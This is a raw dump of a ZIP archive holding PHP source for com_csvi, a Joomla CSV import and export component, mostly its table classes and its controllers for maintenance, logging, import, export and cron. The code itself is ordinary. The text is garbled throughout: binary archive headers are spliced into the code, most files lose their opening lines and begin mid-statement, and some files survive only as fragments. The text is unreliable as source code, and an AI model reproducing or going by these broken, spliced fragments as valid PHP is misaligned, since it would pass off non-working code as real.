} /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?> PKs>\^4T0com_csvi/tables/com_akeebasubs/subscriptions.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?> PKs>\)(com_csvi/tables/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_csvi/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\ com_csvi/tables/csvi_logs.phpnuW+A $value) { if (substr($name, 0, 1) != '_') $this->$name = $value; } } } ?>PKs>\-)com_csvi/tables/com_csvi/custom_table.phpnuW+Ainput; $template = $jinput->get('template', null, null); // Find which table we are importing $tbl = $template->get('custom_table'); // Find the primare key for this table $pk = CsviHelper::getPrimaryKey($tbl); parent::__construct('#__'.$tbl, $pk, $db); } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\)"com_csvi/tables/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,#com_csvi/tables/com_csvi/index.htmlnuW+APKs>\22$com_csvi/controllers/maintenance.phpnuW+AgetView('maintenance', 'html'); // Standard model $view->setModel( $this->getModel( 'maintenance', 'CsviModel' ), true ); // Extra models $view->setModel( $this->getModel( 'log', 'CsviModel' )); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); // View if (!JRequest::getBool('cron', false)) { if (JRequest::getInt('run_id') > 0) $view->setLayout('log'); } else $view->setLayout('cron'); // Now display the view $view->display(); } /** * Redirect to the log screen * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.3 */ private function _outputHtml() { $this->setRedirect('index.php?option=com_csvi&task=maintenance.maintenance&run_id='.JRequest::getInt('import_id')); } /** * Handle the cron output * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.3 */ private function _outputCron() { // Create the view object $view = $this->getView('maintenance', 'html'); // Standard model $view->setModel( $this->getModel( 'maintenance', 'CsviModel' ), true ); // Extra models $view->setModel( $this->getModel( 'log', 'CsviModel' )); // View $view->setLayout('cron'); // Now display the view $view->display(); } /** * Update available fields * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function updateAvailableFields() { // Prepare $jinput = JFactory::getApplication()->input; $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Check if we are running a cron job if ($jinput->get('cron', false, 'bool')) { // Pre-configuration $available_fields = $this->getModel('availablefields', 'CsviModel'); $available_fields->prepareAvailableFields(); // Update the available fields $available_fields->getFillAvailableFields(); // Finish $model->getFinishProcess(); // Redirect $this->_outputCron(); } else { // Create the view object $view = $this->getView('maintenance', 'json'); // Pre-configuration $available_fields = $this->getModel('availablefields', 'CsviModel'); $available_fields->prepareAvailableFields(); // View $view->setLayout('availablefields'); // Now display the view $view->display(); } } /** * Update available fields in steps * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function updateAvailableFieldsSingle() { // Create the view object $view = $this->getView('maintenance', 'json'); // View $view->setLayout('availablefields'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); $view->setModel($this->getModel('availablefields', 'CsviModel')); // Now display the view $view->display(); } /** * Install sample templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function installDefaultTemplates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getInstallDefaultTemplates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Sort categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function sortCategories() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getSortCategories(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Remove empty categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function removeEmptyCategories() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getRemoveEmptyCategories(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Load the exchange rates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function exchangeRates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getExchangeRates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Clean the cache folder * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function cleanTemp() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getCleanTemp(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Backup the CSVI VirtueMart templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function backupTemplates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getBackupTemplates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Restore the CSVI VirtueMart templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function restoreTemplates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getRestoreTemplates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Load the ICEcat index files * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function icecatIndex() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Check if we are running a cron job if (JRequest::getBool('cron', false)) { JRequest::setVar('loadtype', false); } // Perform the task $result = $model->getIcecatIndex(); // See if we need to do the staggered import of the index file switch ($result) { case 'full': // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); break; case 'single': // Create the view object $view = $this->getView('maintenance', 'json'); // View $view->setLayout('icecat'); // Now display the view $view->display(); break; case 'cancel': // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); break; } } /** * Empty the VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function icecatSingle() { // Create the view object $view = $this->getView('maintenance', 'json'); // View $view->setLayout('icecat'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); $view->setModel($this->getModel( 'log', 'CsviModel' )); // Now display the view $view->display(); } /** * Optimize the database tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function optimizeTables() { // Prepare $jinput = JFactory::getApplication()->input; $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getOptimizeTables(); // Finish $model->getFinishProcess(); // Redirect if (!$jinput->get('cron', false, 'bool')) $this->_outputHtml(); else $this->_outputCron(); } /** * Backup the VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function backupVm() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getBackupVirtueMart(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Empty the VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function emptyDatabase() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getEmptyDatabase(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Unpublish products in unpublished categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function unpublishProductByCategory() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getUnpublishProductByCategory(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Cancel the loading of the ICEcat index * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function cancelImport() { // Clean the session $session = JFactory::getSession(); $option = JRequest::getVar('option'); $session->set($option.'.icecat_index_file', serialize('0')); $session->set($option.'.icecat_rows', serialize('0')); $session->set($option.'.icecat_position', serialize('0')); $session->set($option.'.icecat_records', serialize('0')); $session->set($option.'.icecat_wait', serialize('0')); // Redirect back to the maintenance page $this->setRedirect('index.php?option='.JRequest::getCmd('option').'&view=maintenance'); } /** * Delete all CSVI VirtueMart backup tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function removeCsviTables() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->removeCsviTables(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } } ?> PKs>\2&&#com_csvi/controllers/logdetails.phpnuW+Ainput; // Check if the run ID is set $run_id = $jinput->get('run_id', array(), 'array'); // Get the first Run ID only $run_id = $run_id[0]; if ($run_id > 0) { $jinput->set('run_id', $run_id); // Create the view object $view = $this->getView('logdetails', 'html'); // Standard model $view->setModel( $this->getModel( 'logdetails', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Now display the view $view->display(); } else { $this->setRedirect('index.php?option=com_csvi&view=log', JText::_('COM_CSVI_NO_RUNID_FOUND'), 'error'); } } /** * Cancel the operation and return to the log view * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function cancel() { $this->setRedirect('index.php?option=com_csvi&view=log'); } } ?> PKs>\ z%com_csvi/controllers/install.json.phpnuW+AgetView('install', 'json'); // Standard model $view->setModel( $this->getModel( 'install', 'CsviModel' ), true ); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); $view->setModel( $this->getModel( 'maintenance', 'CsviModel' )); $view->display(); } } ?> PKs>\#`h::%com_csvi/controllers/templatetype.phpnuW+A false)); return $model; } } ?>PKs>\ȔO7  com_csvi/controllers/log.phpnuW+AregisterTask('remove_all','remove'); } /** * Cancel the operation * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function cancel() { $this->setRedirect('index.php?option=com_csvi&view=log'); } /** * Download a debug log file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function downloadDebug() { $log = $this->getModel('log', 'CsviModel'); $log->downloadDebug(); } /** * Read a logfile from disk and show it in a popup * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function LogReader() { $jinput = JFactory::getApplication()->input; $jinput->set('view', 'log'); $jinput->set('layout', 'logreader'); $jinput->set('hidemainmenu', 1); parent::display(); } /** * Delete log files * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function remove() { $jinput = JFactory::getApplication()->input; $model = $this->getModel('log'); switch ($this->getTask()) { case 'remove': $results = $model->getDelete(); break; case 'remove_all': $results = $model->getDeleteAll(); break; } foreach ($results as $type => $messages) { foreach ($messages as $msg) { if ($type == 'ok') $this->setMessage($msg); else if ($type == 'nok') $this->setMessage($msg, 'error'); } } $this->setRedirect('index.php?option=com_csvi&view=log'); } } ?> PKs>\r  com_csvi/controllers/export.phpnuW+AregisterTask('getUser','getData'); $this->registerTask('getProduct','getData'); $this->registerTask('getItemProduct','getData'); $this->registerTask('loadfields','getData'); $this->registerTask('loadtables','getData'); $this->registerTask('loadsites','getData'); } /** * Show the export option screen * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function Export() { $jinput = JFactory::getApplication()->input; // Create the view object $view = $this->getView('export', $jinput->get('format', 'html')); // Standard model $view->setModel( $this->getModel( 'export', 'CsviModel' ), true ); $view->setModel( $this->getModel( 'templates', 'CsviModel' )); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); // Now display the view $view->display(); } /** * Retrieve different kinds of data in JSON format * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getData() { // Create the view object $view = $this->getView('export', 'json'); // Standard model $view->setModel( $this->getModel( 'export', 'CsviModel' ), true ); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); $view->setLayout('export'); // Now display the view $view->display(); } } ?> PKs>\Md)com_csvi/controllers/maintenance.json.phpnuW+AgetView('maintenance', 'json'); // View $view->setLayout('availablefields'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); $view->setModel($this->getModel( 'availablefields', 'CsviModel' )); // Now display the view $view->display(); } } ?> PKs>\ /_  (com_csvi/controllers/maintenance.raw.phpnuW+AregisterTask('sortcategories', 'options'); $this->registerTask('icecatsettings', 'options'); } /** * Load the ICEcat settings * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function options() { // Create the view object $view = $this->getView('maintenance', 'raw'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); // Now display the view $view->display(); } /** * Load the operations * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function operations() { $model = $this->getModel(); $options = $model->getOperations(); echo $options; } } ?> PKs>\   com_csvi/controllers/process.phpnuW+AregisterTask('saveasnew','save'); } /** * Save a template * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function save() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $jinput = JFactory::getApplication()->input; $model = $this->getModel('templates'); // Store the form fields $app = JFactory::getApplication(); $data = $jinput->get('jform', array(), 'array'); // Re-order the import fields if (array_key_exists('import_fields', $data)) { $fields = array(); foreach ($data['import_fields']['_process_field'] as $field) { $fields[] = $field; } $data['import_fields']['_process_field'] = $fields; // Combine field $fields = array(); foreach ($data['import_fields']['_combine_field'] as $field) { $fields[] = $field; } $data['import_fields']['_combine_field'] = $fields; } // Re-order the export fields else if (array_key_exists('export_fields', $data)) { // Process field $fields = array(); foreach ($data['export_fields']['_process_field'] as $field) { $fields[] = $field; } $data['export_fields']['_process_field'] = $fields; // Combine field $fields = array(); foreach ($data['export_fields']['_combine_field'] as $field) { $fields[] = $field; } $data['export_fields']['_combine_field'] = $fields; // Sort field $fields = array(); foreach ($data['export_fields']['_sort_field'] as $field) { $fields[] = $field; } $data['export_fields']['_sort_field'] = $fields; // Replace field $fields = array(); foreach ($data['export_fields']['_replace_field'] as $field) { $fields[] = $field; } $data['export_fields']['_replace_field'] = $fields; } // Save the data $id = $model->save($data); // Redirect back to the export page $this->setRedirect(JRoute::_('index.php?option=com_csvi&view=process&template_id='.$id, false)); } /** * Remove a template * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function remove() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $model = $this->getModel('templates'); // Save the data $model->remove(); // Redirect back to the export page $this->setRedirect(JRoute::_('index.php?option=com_csvi&view=process', false)); } /** * Import is all finished, show the results page * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function finished() { // Create the view object $view = $this->getView('process', 'result'); // Standard model $view->setModel( $this->getModel( 'process', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Set the layout file $view->setLayout('import_result'); // Now display the view $view->display(); } /** * Cancel a running import * * @copyright * @author RolandD * @todo Figure out the session vars * @see * @access public * @param * @return * @since 3.0 */ public function cancelImport() { $jinput = JFactory::getApplication()->input; if ($jinput->get('was_preview', false, 'bool')) { $this->setRedirect('index.php?option=com_csvi&view=import', JText::_('COM_CSVI_IMPORT_CANCELLED'), 'notice'); } else { // Load the data from the session $session = JFactory::getSession(); $option = $jinput->get('option'); // The template require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/template.php'); $template = unserialize($session->get($option.'.global.template')); $csvilog = unserialize($session->get($option.'.csvilog')); if (is_object($template)) { // Enable the session $jinput->set('importsession', true); // Set the template $jinput->set('template', $template); // The logger $jinput->set('csvilog', $csvilog); // Set the file handler $jinput->set('csvifile', unserialize($session->get($option.'.csvifile'))); // Load the total line counter $jinput->set('totalline', unserialize($session->get($option.'.totalline'))); // Load the total of records processed $jinput->set('recordsprocessed', unserialize($session->get($option.'.recordsprocessed'))); // Load the field settings $jinput->set('csvifields', unserialize($session->get($option.'.csvifields'))); // Load the column headers $jinput->set('columnheaders', unserialize($session->get($option.'.csvicolumnheaders'))); // Load the preview handler $jinput->set('csvipreview', unserialize($session->get($option.'.csvipreview'))); // Finish the process $model = $this->getModel('importfile'); $model->finishProcess(true); // Store the import as cancelled $db = JFactory::getDbo(); // Get the records processed $query = $db->getQuery(true); $query->select('COUNT(id) AS records'); $query->from('#__csvi_log_details'); $query->where('log_id = '.$csvilog->getLogId()); $db->setQuery($query); $records = $db->loadResult(); // Store the data $query = $db->getQuery(true); $query->update('#__csvi_logs'); $query->set('records = '.$records); $query->set('run_cancelled = 1'); $query->where('run_id = '.$csvilog->getId()); $db->setQuery($query); $db->query(); // Return to the import result screen $this->setRedirect('index.php?option=com_csvi&task=process.finished&run_id='.$csvilog->getId(), JText::_('COM_CSVI_IMPORT_CANCELLED'), 'notice'); } else { // Return to the import result screen $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_IMPORT_CANCELLED'), 'notice'); } } } } ?> PKs>\)com_csvi/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\`(com_csvi/controllers/availablefields.phpnuW+A PKs>\R·%com_csvi/controllers/replacements.phpnuW+A true)); return $model; } } ?> PKs>\-c  com_csvi/controllers/about.phpnuW+A\0 __!com_csvi/controllers/settings.phpnuW+AgetModel('settings'); if ($model->getResetSettings()) { $msg = JText::_('COM_CSVI_SETTINGS_RESET_SUCCESSFULLY'); $msgtype = ''; } else { $msg = JText::_('COM_CSVI_SETTINGS_NOT_RESET_SUCCESSFULLY'); $msgtype = 'error'; } $this->setRedirect('index.php?option=com_csvi&view=settings', $msg, $msgtype); } } ?> PKs>\#o,,com_csvi/controllers/index.htmlnuW+APKs>\!Pήcom_csvi/controllers/cron.phpnuW+Ainput; $data = $jinput->post->get('jform', array(), 'array'); $jinput->set('com_csvi.data', $data); // Create the view object $view = $this->getView('cron', 'html'); // Standard model $view->setModel( $this->getModel( 'cron', 'CsviModel' ), true ); // Now display the view $view->display(); } } ?> PKs>\VWWcom_csvi/controllers/csvi.phpnuW+A PKs>\K] #com_csvi/controllers/exportfile.phpnuW+Ainput; $view = $this->getView('exportfile', 'html'); // Default model $view->setModel( $this->getModel('exportfile', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel('log', 'CsviModel' )); // Settings functions $view->setModel( $this->getModel('settings', 'CsviModel' )); // General import functions $view->setModel( $this->getModel('export', 'CsviModel' )); // General category functions $view->setModel( $this->getModel('category', 'CsviModel' )); // Available fields $view->setModel( $this->getModel('availablefields', 'CsviModel' )); // Load the model $model = $this->getModel('exportfile'); // Add extra helper paths $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/xml'); $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/html'); // Load the helper classes $view->loadHelper('csvidb'); $view->loadHelper('template'); $view->loadHelper('csvisef'); // Prepare for export if ($model->getPrepareExport()) { // Set the export override $app = JFactory::getApplication(); $template = $jinput->get('template', null, null); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/export/'.$template->get('operation', 'options').'.php'; // Add the export model path if override exists if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/export'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/export'); // Load export specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Start the export $view->display(); } else { // Clean up first $model->getCleanSession(); // Redirect back to the export page $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_ERROR_EXPORT_PREP'), 'error'); } } } ?>PKs>\}i@@$com_csvi/controllers/replacement.phpnuW+A false)); return $model; } } ?>PKs>\D\, , #com_csvi/controllers/importfile.phpnuW+A importFile * 2. models/importfile.php -> prepareImport (sets session values) * 3. views/importfile/view.html.php -> display * 4. views/importfile/tmpl/default.php JS calls import * 5. controllers/importfile.json.php -> doImport * 6. models/importfile.php -> getDoImport (sets session values) * 7. views/importfile/view.json.php -> return result * * @package CSVI */ class CsviControllerImportfile extends JController { /** * Load import model files * * Here the models are loaded that are used for import. Special is the * import model file as this is included based on the template type * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function process() { $jinput = JFactory::getApplication()->input; // Load the import type $vtype = ($jinput->get('cron', false, 'bool')) ? 'cron' : 'html'; if ($vtype == 'html') { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); } // Set the start time of the import $session = JFactory::getSession(); $option = $jinput->get('option'); $session->set($option.'.runtime', time()); // Start with a clean session $session->set($option.'.select_template', serialize($jinput->get('select_template', 0, 'int'))); $session->set($option.'.global.template', serialize('0')); $session->set($option.'.csvicolumnheaders', serialize('0')); $session->set($option.'.csvifields', serialize('0')); $session->set($option.'.csvifile', serialize('0')); $session->set($option.'.csvilog', serialize('0')); $session->set($option.'.filepos', serialize('0')); $session->set($option.'.recordsprocessed', serialize('0')); $session->set($option.'.totalline', serialize('0')); $model = $this->getModel('templates'); // Create the view object $view = $this->getView('importfile', $vtype); // Load the model $view->setModel( $this->getModel( 'importfile', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Load the model $model = $this->getModel('importfile'); // Check which helper files to include $helper_files = $model->getHelperFiles(); if (!$helper_files) { if (!JRequest::getBool('cron', false)) { // Redirect back to the import page $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_ERROR_IMPORT_FILE'), 'error'); } else { echo JText::_('COM_CSVI_ERROR_IMPORT_FILE')."\n"; $view->setLayout('cron'); } } else { // Load helper files $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/import'); $view->loadHelper('file'); $view->loadHelper('template'); if (!empty($helper_files)) { foreach ($helper_files as $helper) { $view->loadHelper($helper); } } // Prepare for import if ($model->getPrepareImport()) { // Start the import switch ($vtype) { case 'cron': $view->setLayout('cron'); return true; break; default: break; } // Show the screen $view->display(); } else { // Clean up $model->getCleanSession(); switch ($vtype) { case 'cron': $jinput->set('error', true); $view->setLayout('cron'); $view->display(); break; default: // Redirect back to the import page $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_ERROR_IMPORT_FILE'), 'error'); break; } } } } /** * Import records called via JavaScript * * @copyright * @author RolandD * @todo remove global from session vars * @todo * @see prepareImport (models/importfile) where the session data is set * @see _finishProcess (models/importfile) where the session data is unset * @access public * @param * @return * @since 3.0 */ public function doImport() { // Process first $this->process(); // Start the import $jinput = JFactory::getApplication()->input; // Create the view object $vtype = ($jinput->get('cron', false, 'bool')) ? 'cron' : 'json'; $view = $this->getView('importfile', $vtype); // Load the data from the session $session = JFactory::getSession(); $option = $jinput->get('option'); // Set the run ID $jinput->set('run_id', $session->get($option.'.run_id')); // Check which helper files to include $helper_files = unserialize($session->get($option.'.helper_files')); // Load helper files $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/import'); $view->loadHelper('file'); $view->loadHelper('template'); $view->loadHelper('icecat'); $view->loadHelper('settings'); if (!empty($helper_files)) { foreach ($helper_files as $helper) { $view->loadHelper($helper); } } // The template $template = unserialize($session->get($option.'.global.template')); if (is_object($template)) { // Enable the session $jinput->set('importsession', true); // Set the template $jinput->set('template', $template); // The logger $jinput->set('csvilog', unserialize($session->get($option.'.csvilog'))); // Set the file handler $jinput->set('csvifile', unserialize($session->get($option.'.csvifile'))); // Load the total line counter $jinput->set('totalline', unserialize($session->get($option.'.totalline'))); // Load the total of records processed $jinput->set('recordsprocessed', unserialize($session->get($option.'.recordsprocessed'))); // Set the fields found in the import file $jinput->set('csvifields', unserialize($session->get($option.'.csvifields'))); // Set the list of available fields $jinput->set('avfields', unserialize($session->get($option.'.avfields'))); // Load the column headers $jinput->set('columnheaders', unserialize($session->get($option.'.csvicolumnheaders'))); // Load the preview handler $jinput->set('csvipreview', unserialize($session->get($option.'.csvipreview'))); // Set the override for the operation model if exists $app = JFactory::getApplication(); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import/'.$template->get('operation', 'options').'.php'; if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/import'); // Load the model for the component $view->setModel($this->getModel('importfile', 'CsviModel'), true); // Log functions $view->setModel($this->getModel('log', 'CsviModel')); // General category functions $view->setModel($this->getModel('category', 'CsviModel')); // Available fields $view->setModel($this->getModel('availablefields', 'CsviModel')); // Load import specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Prepare for import $view->get('DoImport'); } else { $jinput->set('importsession', false); } // Set the output screen switch ($vtype) { case 'cron': $view->setLayout('cron'); break; default: break; } // Show the screen $view->display(); } } ?> PKs>\7,, com_csvi/controllers/install.phpnuW+A PKs>\&com_csvi/controllers/templatetypes.phpnuW+A PKs>\Ӽnzz"com_csvi/controllers/about.raw.phpnuW+AgetModel(); echo json_encode($model->createFolder()); } } ?> PKs>\]?-+com_csvi/controllers/templatetypes.json.phpnuW+Ainput; $model = $this->getModel('templatetypes'); $action = $jinput->get('action'); $component = $jinput->get('component'); echo json_encode($model->loadTemplateTypes($action, $component)); } public function loadSettings() { $jinput = JFactory::getApplication()->input; $model = $this->getModel('templatetypes'); $action = $jinput->get('action'); $component = $jinput->get('component'); $operation = $jinput->get('operation'); echo $model->loadSettings($action, $component, $operation); } } ?> PKs>\+}mm(com_csvi/controllers/importfile.json.phpnuW+A importFile * 2. models/importfile.php -> prepareImport (sets session values) * 3. views/importfile/view.html.php -> display * 4. views/importfile/tmpl/default.php JS calls import * 5. controllers/importfile.php -> doImport * 6. models/importfile.php -> getDoImport (sets session values) * 7. views/importfile/view.json.php -> return result * * @package CSVI */ class CsviControllerImportfile extends JController { /** * Import records called via JavaScript * * @copyright * @author RolandD * @todo remove global from session vars * @todo * @see prepareImport (models/importfile) where the session data is set * @see _finishProcess (models/importfile) where the session data is unset * @access public * @param * @return * @since 3.0 */ public function doImport() { $jinput = JFactory::getApplication()->input; // Create the view object $vtype = ($jinput->get('cron', false, 'bool')) ? 'cron' : 'json'; $view = $this->getView('importfile', $vtype); // Load the data from the session $session = JFactory::getSession(); $option = $jinput->get('option'); // Set the run ID $jinput->set('run_id', $session->get($option.'.run_id')); // Check which helper files to include $helper_files = unserialize($session->get($option.'.helper_files')); // Load helper files $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/import'); $view->loadHelper('file'); $view->loadHelper('template'); $view->loadHelper('icecat'); $view->loadHelper('settings'); if (!empty($helper_files)) { foreach ($helper_files as $helper) { $view->loadHelper($helper); } } // The template $template = unserialize($session->get($option.'.global.template')); if (is_object($template)) { // Enable the session $jinput->set('importsession', true); // Set the template $jinput->set('template', $template); // The logger $jinput->set('csvilog', unserialize($session->get($option.'.csvilog'))); // Set the file handler $jinput->set('csvifile', unserialize($session->get($option.'.csvifile'))); // Load the total line counter $jinput->set('totalline', unserialize($session->get($option.'.totalline'))); // Load the total of records processed $jinput->set('recordsprocessed', unserialize($session->get($option.'.recordsprocessed'))); // Set the fields found in the import file $jinput->set('csvifields', unserialize($session->get($option.'.csvifields'))); // Set the list of available fields $jinput->set('avfields', unserialize($session->get($option.'.avfields'))); // Load the column headers $jinput->set('columnheaders', unserialize($session->get($option.'.csvicolumnheaders'))); // Load the preview handler $jinput->set('csvipreview', unserialize($session->get($option.'.csvipreview'))); // Set the override for the operation model if exists $app = JFactory::getApplication(); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import/'.$template->get('operation', 'options').'.php'; if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/import'); // Load the model for the component $view->setModel($this->getModel('importfile', 'CsviModel'), true); // Log functions $view->setModel($this->getModel('log', 'CsviModel')); // General category functions $view->setModel($this->getModel('category', 'CsviModel')); // Available fields $view->setModel($this->getModel('availablefields', 'CsviModel')); // Load import specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Prepare for import 